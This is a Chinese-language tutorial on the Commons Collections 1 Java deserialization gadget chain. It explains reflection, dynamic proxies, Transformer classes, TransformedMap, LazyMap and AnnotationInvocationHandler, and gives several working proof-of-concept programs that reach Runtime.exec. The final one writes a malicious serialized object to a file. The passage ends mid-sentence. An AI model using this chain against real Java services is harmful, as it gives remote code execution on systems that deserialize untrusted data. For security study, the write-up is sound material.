CommonCollection1反序列化學系
CommonsCollection1
1、前置知識
1.1、反射基礎知識
1.1.1、 對象與類的基礎知識
類(class),對象(object)
對象是類的實例化,中華田園犬(object)是狗(class)的實例化
類是對象的抽象化,狗(class)是中華田園犬(object)抽象化
1.1.2、反射獲取對象過程
1、我們可以通過以下三種方法獲取Class對象類型
Class classType = String.class;
Class classType = new String().getClass();/*new String()是一個對象*/
Class classType = Class.forName("java.lang.String");
2、在Class類中包含著很多方法函數,其中在本章節使用最頻繁的就是
getName():獲得類的完整名字。
getFields():獲得類的public類型的屬性。
getDeclaredFields():獲得類的所有屬性。
getMethods():獲得類的public類型的方法。
getDeclaredMethods():獲得類的所有方法。
getMethod(String name, Class[] parameterTypes):獲得類的特定方法,name參數指定方法的名字,parameterTypes參數指定方法的參數類型。
getConstrutors():獲得類的public類型的構造方法。
getConstrutor(Class[] parameterTypes):獲得類的特定構造方法,parameterTypes參數指定構造方法的參數類型。
newInstance():通過類的不帶參數的構造方法創建這個類的一個對象。
2、通過默認構造方法創建一個新的對象,即先調用Class類的getConstructor()方法獲得一個Constructor對象,它代表默認的構造方法,然後調用Constructor對象的newInstance()方法構造一個實例。(此處new Class[]{}、new Object[]{}表示空參數,既調用默認的無參數的構造方法)
Object objectCopy=classType.getConstructor(new Class[]{}).newInstance(new Object[]{});
3、獲得對象的所有屬性,即通過Class類的getDeclaredFields()方法返回類的所有屬性,包括public、protected、default和private訪問級別的屬性
Field fields[]=classType.getDeclaredFields();
4、獲得每個屬性相應的get/set方法,然後執行這些方法,把原來的對象屬性拷貝到新的對象中。
這裡我們可以寫一個InvokeTester的類,然後運用反射機制調用一個InvokeTester對象的add()方法(自定義方法),如add()方法的兩個參數為int類型,那麼獲取表示add()方法的Method對象程式碼如下:
Method addMethod=classType.getMethod("add",new Class[]{int.class,int.class});
5、反射調用addMethod方法
//獲得和屬性對應的getXXX()方法
Method getMethod=classType.getMethod(getMethodName,new Class[]{});
//獲得和屬性對應的setXXX()方法
Method setMethod=classType.getMethod(setMethodName,new Class[]{field.getType()});
//具體實施(第四點描述)
Method addMethod=classType.getMethod("add",new Class[]{int.class,int.class});
//調用原對象的getXXX()方法
Object value=getMethod.invoke(object,new Object[]{});
System.out.println(fieldName+":"+value);
//調用拷貝對象的setXXX()方法
setMethod.invoke(objectCopy,new Object[]{value});
addMethod.invoke()
6、具體一個小例子
首先有個Users類,他有屬性名字(name)、年齡(age)和會算加法()
public class Users {
String name;
int age;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
public int add(int num1, int num2){
int addnum= num1+num2;
return addnum;
}
}
那麼我們反射獲取他的某一個user對象的名字、年齡和加法
第一反射獲取多參數的方法add
import java.lang.reflect.Method;
public class Test {
public static void main(String[] args) throws Exception {
//反射獲取類對象類型,這裡獲取的是Users類對象類型
Class<?> users = Class.forName("Users");
//類對象類型實例化,,即先調用Class類的getConstructor()方法獲得一個Constructor對象,它代表默認的構造方法,然後調用Constructor對象的newInstance()方法構造一個實例。(此處new Class[]{}、new Object[]{}表示空參數,既調用默認的無參數的構造方法)
Object user = users.getConstructor(new Class[]{}).newInstance(new Object[]{});
//反射獲取指定的類對象類型的add方法,add方法需要兩個參數,參數類型為int型,getMethod類型的第二個參數必須是Class對象類型
Method add = users.getMethod("add", new Class[]{int.class, int.class});
//add方法反射調用(invoke)user對象,並且傳入add方法的倆個參數值,invoke方法的參數必須是object對象
Object num = add.invoke(user, new Object[]{1, 2});
System.out.println((Integer) num);
}
}
反射調用單參數的方法setName和無參數方法getName
import java.lang.reflect.Method;
public class Test {
public static void main(String[] args) throws Exception {
/*
//反射獲取類對象類型,這裡獲取的是Users類對象類型
Class<?> users = Class.forName("Users");
//類對象類型實例化,,即先調用Class類的getConstructor()方法獲得一個Constructor對象,它代表默認的構造方法,然後調用Constructor對象的newInstance()方法構造一個實例。(此處new Class[]{}、new Object[]{}表示空參數,既調用默認的無參數的構造方法)
Object user = users.getConstructor(new Class[]{}).newInstance(new Object[]{});
//反射獲取指定的類對象類型的add方法,add方法需要兩個參數,參數類型為int型,getMethod類型的第二個參數必須是Class對象類型
Method add = users.getMethod("add", new Class[]{int.class, int.class});
//add方法反射調用(invoke)user對象,並且傳入add方法的倆個參數值,invoke方法的參數必須是object對象
Object num = add.invoke(user, new Object[]{1, 2});
System.out.println((Integer) num);
*/
Class<?> users = Class.forName("Users");
Object zhangsan = users.getConstructor(new Class[]{}).newInstance(new Object[]{});
//反射獲取Users類的setName()方法 ,需要傳入setName的所需的參數類型,此處為String.class類型
Method setName = users.getMethod("setName", new Class[]{String.class});
//反射設置zhangsan對象實例的名字為張三
setName.invoke(zhangsan,new Object[]{"張三"});
//反射獲取Users類的getName()方法,需要傳入getName的參數類型,此處為空
Method getName = users.getMethod("getName", new Class[]{});
//反射獲取zhangsan對象實例的名字
Object Name = getName.invoke(zhangsan);
System.out.println((String) Name);
}
}
1.1.3、反射的基本用法
反射又有很多瑣碎的點,這裡只講它的基本用法如果當前擁有一個對象的話,那麼可以動態的調用該對象的所有方法
// Step1 獲取Class對象
Class cls = obj.getClass();
// Step2 獲取想要的方法對象
Method mth = cls.getMethod("MethodName",new Class[]{arg1_type,arg2_type});
// Step3 調用方法
mth.invoke(obj,new Object[]{arg1,arg2})
這裡注意的是getMethod的第二個參數為Class數組,Class的概念我們之前也提到過。
1.2、動態代理知識
動態代理需要理解反射包的三個類
反射包 java.lang.reflect 的三個類:InvocationHandler,Method,Proxy
InvocationHandler
這個類其實就一個方法就是invoke方法,該方法用代理商在不改變代理對象的情況,需要添加的功能
參數:
Object proxy:jdk的代理類,無需賦值
Method method:代理對象的方法,jdk提供的Method的對象
Object[] args:代理對象的方法執行的參數
package java.lang.reflect;
public interface InvocationHandler {
public Object invoke(Object proxy, Method method, Object[] args)
throws Throwable;
}
Method
Method方法主要在InvocationHandler的invoke方法中實現,表示執行代理對象的方法
Method.invoke(目標的對象,方法的參數)
Proxy
newProxyInstance的方法的三個參數為
ClassLoader loader:類載入器,負責向記憶體中載入對象的。使用反射獲取的
Class<?>[] interfaces :目標對象實現的介面,也是反射獲取的
InvocationHandler h:我們自己寫的,代理需要完成的功能
舉個具體里的例子(Usb)
首先實現一個統一的買usb的介面,裡面有一個賣usb的方法
public interface Usbsell {
float sell(int acount);
}
金士頓廠家要賣usb,所以繼承這個介面,他買85元
package com.akkacloud.factory;
import com.akkacloud.service.Usbsell;
public class UsbKingFactor implements Usbsell {
@Override
public float sell(int acount) {
return 85.0f;
}
}
我們是一個商店,去買我們要賺差價
第一種寫法,直接在主函數中創建我們的InvocationHandler介面
package com.akkacloud;
import com.akkacloud.factory.UsbKingFactor;
import com.akkacloud.handler.MysellHandler;
import com.akkacloud.service.Usbsell;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
public class MainShop {
public static void main(String[] args) {
//創建代理對象,使用proxy
//創建目標類對象,就是廠家
UsbKingFactor usbKingFactor = new UsbKingFactor();
//創建代理對象
Usbsell proxy = (Usbsell) Proxy.newProxyInstance(usbKingFactor.getClass().getClassLoader(),
usbKingFactor.getClass().getInterfaces(), new InvocationHandler() {
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
Object res = method.invoke(usbKingFactor, args);
res= (float)res+35;
return res;
}
}
);
//通過代理對象執行sell
float price = proxy.sell(1);
System.out.println("通過代理的價格:"+price);
}
}
第二種我們先實現InvocationHandler介面,再寫主函數
首先我們要實現我們的InvocationHandler介面,我們實施加價25塊
package com.akkacloud.handler;
import java.io.File;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
public class MysellHandler implements InvocationHandler{
private Object target;
public MysellHandler(Object target) {
this.target = target;
}
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
//想廠家訂購1個商品
// float price = factory.sell(1);
Object res = method.invoke(target, args);
//中間商賺差價
//price = price+25;
if(res!=null){
float price = (float) res;
price=price+25;
res =price;
}
return res;
}
}
然後實現我們的商店程式碼
package com.akkacloud;
import com.akkacloud.factory.UsbKingFactor;
import com.akkacloud.handler.MysellHandler;
import com.akkacloud.service.Usbsell;
import java.lang.reflect.Proxy;
public class MainShop {
public static void main(String[] args) {
//創建代理對象,使用proxy
//創建目標類對象,就是廠家
UsbKingFactor usbKingFactor = new UsbKingFactor();
//創建invocationHandler對象,傳入代理商的廠家為usbking
MysellHandler mysellHandler = new MysellHandler(usbKingFactor);
//創建代理對象
Usbsell proxy = (Usbsell) Proxy.newProxyInstance(usbKingFactor.getClass().getClassLoader(),
usbKingFactor.getClass().getInterfaces(),mysellHandler
);
//通過代理對象執行sell
float price = proxy.sell(1);
System.out.println("通過代理的價格:"+price);
}
}
執行結果
1.3、調試所需類相關的知識和作用
Transformer
transformer的是Commons Collections包中提供的一個介面
package org.apache.commons.collections;
public interface Transformer {
Object transform(Object var1);
}
ConstantTransformer
ConstantTransformer是Transformer的實現類
構造方法中實現對iConstant賦值,transform方法用於獲取iConstant的值
public class ConstantTransformer implements Transformer, Serializable {
static final long serialVersionUID = 6374440726369055124L;
public static final Transformer NULL_INSTANCE = new ConstantTransformer((Object)null);
private final Object iConstant;
public static Transformer getInstance(Object constantToReturn) {
return (Transformer)(constantToReturn == null ? NULL_INSTANCE : new ConstantTransformer(constantToReturn));
}
public ConstantTransformer(Object constantToReturn) {
this.iConstant = constantToReturn;
}
public Object transform(Object input) {
return this.iConstant;
}
public Object getConstant() {
return this.iConstant;
}
}
InvokerTransformer
InvokerTransformer也是Transform的實現類
構造方法里傳入Strin iMethodName(字元串類型的函數名)、Class[] iParamTypes(函數的參數類型))、Object[] iArgs(函數的參數列表)
transform方法是用Java反射機制來進行執行任意程式碼
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var6) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var7) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
}
}
}
ChainedTransformer
ChainedTransformer也是Transformer的實現類
構造方法是把數組類型的Transformer[] 賦值給iTransformers
transform方法是通過傳入Trasnformer[]數組既iTransformers,對傳入的數組進行遍歷並且調用數組對象的transform方法。
Map
Transform來執行命令需要綁定到Map上,抽象類AbstractMapDecorator是Apache Commons Collections提供的一個類,實現類有很多,比如LazyMap、TransformedMap等,這些類都有一個decorate()方法,用於將上述的Transformer實現類綁定到Map上,當對Map進行一些操作時,會自動觸發Transformer實現類的tranform()方法,不同的Map類型有不同的觸發規則
TransformedMap
Transformer的實現類分別綁定到map的key和value上,當map的key或value被修改時,會調用對應Transformer實現類的transform()方法。
通過decorate方法去調用構造方法,把map、keyTransformer、valueTransformer傳入,當調用put的方法修改key或者value時,就會調用transform()
我們可以把chainedtransformer綁定到一個TransformedMap上,當此map的key或value發生改變時,就會自動觸發chainedtransformer的transform()方法
//構造方法
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
......
//改變key時、調用transform
protected Object transformKey(Object object) {
return this.keyTransformer == null ? object : this.keyTransformer.transform(object);
}
......
//改變value是,調用transform
protected Object transformValue(Object object) {
return this.valueTransformer == null ? object : this.valueTransformer.transform(object);
}
.....
//put方法用來修改
public Object put(Object key, Object value) {
key = this.transformKey(key);
value = this.transformValue(value);
return this.getMap().put(key, value);
}
LazyMap
lazyMap也是Map的實現類
//構造方法
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}
//對傳入的map和Transformer實例化
protected LazyMap(Map map, Factory factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
} else {
this.factory = FactoryTransformer.getInstance(factory);
}
}
//調用get時,當key不存在時,調用Transformer實現類的transform()方法
public Object get(Object key) {
if (!super.map.containsKey(key)) {
Object value = this.factory.transform(key);
super.map.put(key, value);
return value;
} else {
return super.map.get(key);
}
}
當調用tmpmap.get(key)的key不存在時,會調用TestTransformer的transform()方法
這些不同的Map類型之間的差異也正是CommonsColletions有那麼多gadget的原因之一
Map tmpmap = LazyMap.decorate(normalMap, TestTransformer);
2、漏洞復現
由於前面分析了CC1的利用鏈,但是發現在CC1的利用鏈中是有版本的限制的。在JDK1.8 8u71版本以後,對AnnotationInvocationHandler
的readobject
進行了改寫。導致高版本中利用鏈無法使用
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class CommonCollection1 {
public static void main(String[] args) {
//此處構建了一個transformers的數組,在其中構建了任意函數執行的核心程式碼
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"open /System/Applications/Calculator.app"})
};
//將transformers數組存入ChaniedTransformer這個繼承類
Transformer transformerChain = new ChainedTransformer(transformers);
//創建Map並綁定transformerChina
Map innerMap = new HashMap();
innerMap.put("value", "value");
//給予map數據轉化鏈
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
//觸發漏洞
Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
//outerMap後一串東西,其實就是獲取這個map的第一個鍵值對(value,value);然後轉化成Map.Entry形式,這是map的鍵值對數據格式
onlyElement.setValue("foobar");
}
}
3、漏洞分析
transformers
先分析第一段
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"open /System/Applications/Calculator.app"})
};
//將transformers數組存入ChaniedTransformer這個繼承類
Transformer transformerChain = new ChainedTransformer(transformers);
首先new一個Transformer數組
Transformer[] transformers = new Transformer[] {}
然後通過ChainedTransformer類的transform()方法,循環獲取反射獲取指定的命令執行函數函數
public ChainedTransformer(Transformer[] transformers) {
this.iTransformers = transformers;
}
public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}
return object;
}
首先看第一個類ConstantTransformer運行transform()方法後,返回的是Runtime.Class
我們通過查看ConstantTransformer方法可知,Runtime.Class傳入後通過構造方法賦值給iConstant,然後return這個iConstant賦值給object
public ConstantTransformer(Object constantToReturn) {
this.iConstant = constantToReturn;
}
public Object transform(Object input) {
return this.iConstant;
}
我們看第二類InvokerTransformer,其實這個類翻譯過來就是反射轉換,把Runtime.Class作為參數值傳給InvokerTransformer的transform方法,就是下面的式子
object=InvokerTransformer.transform(Runtime.Class)
然後我們進入到InvokerTransformer.transform()方法查看,確實傳入的是Runtime().Class,
首先我們來繼續看InvokerTransformer的構造方法,第一個參數的意思是函數名,第二個參數的意思是參數類型,第三個是參數,
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}
再看InvokerTransformer的transform方法,其實就是反射調用構造方法中賦值的函數
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var6) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var7) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
}
}
}
我們回到我們剛才調試的點,這三個參數分別是如下,函數名是getMethod,
getMethod.invoke(Runtime.Class,String.Class,getRunTime),反射調用後就是Runtime.getRuntime(),繼續傳入object
第三次傳入的是object是Runtime.getRuntime(),函數名是invoke,參數值是null,invoke.invoke(Runtime.getRuntime(),Object.Class,null),由於Runtime是單例模式,需要執行他的getRuntime方法來獲取Runtime類的實例化對象,所以這裡用Invoke反射執行了getRuntime所以就獲得了Runtime的實例對象
第四次傳入的object是Runtime的實例化對象,函數名是exec(),參數是”open /System/Application/Calculator.app”,就是執行了Runtime.getRuntime().exec().
通過ConstantTransformer得到Runtime.class,然後再InvokerTransformer反射得到getRuntime方法,然後通過反射執行invoke才能去調用getRuntime方法,這樣得到一個Runtime對象,然後再去調用Runtime對象的exec方法去達到命令執行。
Runtime.getRuntime().invoke(null).exec("open /System/Application/Calculator.app");
上面那麼多其實最簡單的方法是自己先寫一遍反射執行Runtime的Rce,如:
Class runtimeClass = Runtime.class;
Method getRuntime = runtimeClass.getMethod("getRuntime", null);//getMethod獲取getRuntime方法,參數為空
Runtime runtime = (Runtime) getRuntime.invoke(null, null);//反射執行getRuntime方法獲取Runtime實例,invoke方法需要兩個參數,執行的對象和執行的的參數,因為getRuntime為static方法,反射調用時執行的對象直接傳null就行。
Method exec = runtimeClass.getMethod("exec", String.class);//反射獲取Runtime的exec方法
exec.invoke(runtime, "open /System/Applications/Calculator.app");//反射執行
然後我們再通過ConstantTransformer和InvokerTransformer的transform方法的規則實現一下就很好理解了
Object runtime= new ConstantTransformer(Runtime.class).transform(null);
Object getMethod = new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}).transform(runtime);
Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getMethod);
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open /System/Applications/Calculator.app"}).transform(r);
可以看出都是調用transform方法,且輸入的參數為上一個參數的結果
加入ConstantTransformer去循環調用transform
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open /System/Applications/Calculator.app"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(null);
第一段ChainedTransformer就是為了執行這段命令,但是我們想在需要去ChainedTransformer.transform方法
TransformedMap類
前置知識我們說過,通過調用TransformedMap.decorate(),再調用TransformedMap的構造方法賦值參數,參數分別是Map、更換的key值、更換的value值,我們通過put方法調用transformKey、transformValue方法來更換Map的key和value,而這時候最重要的是transformValue、transformKey方法調用了transform方法,也就是說我們把ChainedTransformer傳給decorate方法的valueTransformer,當調用put方法時就可以調用ChainedTransformer的transform方法了。
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
protected Object transformKey(Object object) {
return this.keyTransformer == null ? object : this.keyTransformer.transform(object);
}
protected Object transformValue(Object object) {
return this.valueTransformer == null ? object : this.valueTransformer.transform(object);
}
public Object put(Object key, Object value) {
key = this.transformKey(key);
value = this.transformValue(value);
return this.getMap().put(key, value);
}
漏洞利用
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class CommonCollection1 {
public static void main(String[] args) {
//此處構建了一個transformers的數組,在其中構建了任意函數執行的核心程式碼
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"open /System/Applications/Calculator.app"})
};
//將transformers數組存入ChaniedTransformer這個繼承類
Transformer transformerChain = new ChainedTransformer(transformers);
//創建Map並綁定transformerChina
Map innerMap = new HashMap();
innerMap.put("value", "value");
//給予map數據轉化鏈
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
outerMap.put("1","1");
// //觸發漏洞
// Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
// //outerMap後一串東西,其實就是獲取這個map的第一個鍵值對(value,value);然後轉化成Map.Entry形式,這是map的鍵值對數據格式
// onlyElement.setValue("foobar");
}
}
在這裡我們是使用了程式碼直接的讓他去彈出一個計算器,但是在實際運用中,需要將該程式碼轉換為序列化流。在實際運用中需要我們需要找到⼀個類,它在反序列化的readObject讀取我們序列化的流文件。在分析該鏈的時候也比較亂,下篇文章重新來完整的調試一下。
LazyMap
在分析前先來看看LazyMap
這個類,這個類和TransformedMap
類似。都是AbstractMapDecorator
繼承抽象類是Apache Commons Collections
提供的一個類。在兩個類不同點在於TransformedMap
是在put
方法去觸發transform
方法,而LazyMap
是在get
方法去調用方法
public class LazyMap extends AbstractMapDecorator implements Map, Serializable {
private static final long serialVersionUID = 7990956402564206740L;
protected final Transformer factory;
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}
protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
} else {
this.factory = factory;
}
}
public Object get(Object key) {
if (!super.map.containsKey(key)) {
Object value = this.factory.transform(key);
super.map.put(key, value);
return value;
} else {
return super.map.get(key);
}
}
}
當調用get(key)的key不存在時,會調用transformerChain的transform()方法。
修改一下poc,使用LazyMap的get方法來觸發命令執行試試
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class CommonCollection1 {
public static void main(String[] args) {
//此處構建了一個transformers的數組,在其中構建了任意函數執行的核心程式碼
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"open /System/Applications/Calculator.app"})
};
//將transformers數組存入ChaniedTransformer這個繼承類
Transformer transformerChain = new ChainedTransformer(transformers);
//創建Map並綁定transformerChina
Map innerMap = new HashMap();
innerMap.put("value", "value");
//給予map數據轉化鏈
Map tmpmap = LazyMap.decorate(innerMap, transformerChain);
tmpmap.get("1");
}
}
AnnotationInvocationHandler
AnnotationInvocationHandler該類是用來處理註解的。
查看AnnotationInvocationHandler類的構造函數有兩個參數,第⼀個參數是⼀個Annotation類類型參數,第二個是map類型參數
Annotation類類型參數傳給var1,map類型傳給類var1==》TransformedMap.decorate(innerMap,transformerChain)
AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
Class[] var3 = var1.getInterfaces();
if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
this.type = var1;
this.memberValues = var2;
} else {
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
}
}
利用鏈主要用到了AnnotationInvocationHandler的invoke方法和readObject方法
invoke方法主要為三個參數(對象類型,方法類型,對象數組)
public Object invoke(Object var1, Method var2, Object[] var3) {
String var4 = var2.getName();
Class[] var5 = var2.getParameterTypes();
if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
return this.equalsImpl(var3[0]);
} else if (var5.length != 0) {
throw new AssertionError("Too many parameters for an annotation method");
} else {
byte var7 = -1;
switch(var4.hashCode()) {
case -1776922004:
if (var4.equals("toString")) {
var7 = 0;
}
break;
case 147696667:
if (var4.equals("hashCode")) {
var7 = 1;
}
break;
case 1444986633:
if (var4.equals("annotationType")) {
var7 = 2;
}
}
switch(var7) {
case 0:
return this.toStringImpl();
case 1:
return this.hashCodeImpl();
case 2:
return this.type;
default:
Object var6 = this.memberValues.get(var4);
if (var6 == null) {
throw new IncompleteAnnotationException(this.type, var4);
} else if (var6 instanceof ExceptionProxy) {
throw ((ExceptionProxy)var6).generateException();
} else {
if (var6.getClass().isArray() && Array.getLength(var6) != 0) {
var6 = this.cloneArray(var6);
}
return var6;
}
}
}
}
重要式子
memberValues就是構造函數賦值的,存儲這我們的惡意的map
Object var6 = this.memberValues.get(var4)
就是AnnotationInvocationHandler調用invoke方法,調用Lazymap的get方法,調用transform方法
readObject方法
我們看到第四行
Map var4 = (Map)var2.get("memberValues", (Object)null)
memberValues.的值賦值給var4
var4調用了entrySet().iterator()方法
var4.entrySet().iterator()
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
GetField var2 = var1.readFields();
Class var3 = (Class)var2.get("type", (Object)null);
Map var4 = (Map)var2.get("memberValues", (Object)null);
AnnotationType var5 = null;
try {
var5 = AnnotationType.getInstance(var3);
} catch (IllegalArgumentException var13) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map var6 = var5.memberTypes();
LinkedHashMap var7 = new LinkedHashMap();
String var10;
Object var11;
for(Iterator var8 = var4.entrySet().iterator(); var8.hasNext(); var7.put(var10, var11)) {
Entry var9 = (Entry)var8.next();
var10 = (String)var9.getKey();
var11 = null;
Class var12 = (Class)var6.get(var10);
if (var12 != null) {
var11 = var9.getValue();
if (!var12.isInstance(var11) && !(var11 instanceof ExceptionProxy)) {
var11 = (new AnnotationTypeMismatchExceptionProxy(var11.getClass() + "[" + var11 + "]")).setMember((Method)var5.members().get(var10));
}
}
}
AnnotationInvocationHandler.UnsafeAccessor.setType(this, var3);
AnnotationInvocationHandler.UnsafeAccessor.setMemberValues(this, var7);
}
POC
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class CommonCollection1 {
public static void main(String[] args) throws Exception {
//此處構建了一個transformers的數組,在其中構建了任意函數執行的核心程式碼
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"open /System/Applications/Calculator.app"})
};
//循環反射調用InvokerTransformer.transform()方法執行Rce
Transformer transformerChain = new ChainedTransformer(transformers);
//通過LazyMap的get方法調用ChainedTransformer.transform()方法
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
//反射創建AnnotationInvocationHandler方法,把惡意的LazyMap賦值給InvocationHandler,因為AnnotationInvocationHandler實現了InvocationHandler介面
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class,Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("1.txt"));
oos.writeObject(handler);
}
}
}
我們先來看第一段
反射創建AnnotationInvocationHandler類,實例化對象時把Retention.class、 outerMap傳給InvocationHandler介面,因為AnnotationInvocationHandler實現了InvocationHandler方法
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
第二段動態代理
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);
- 第一個參數:People.getClass().getClassLoader(),使用handler對象的
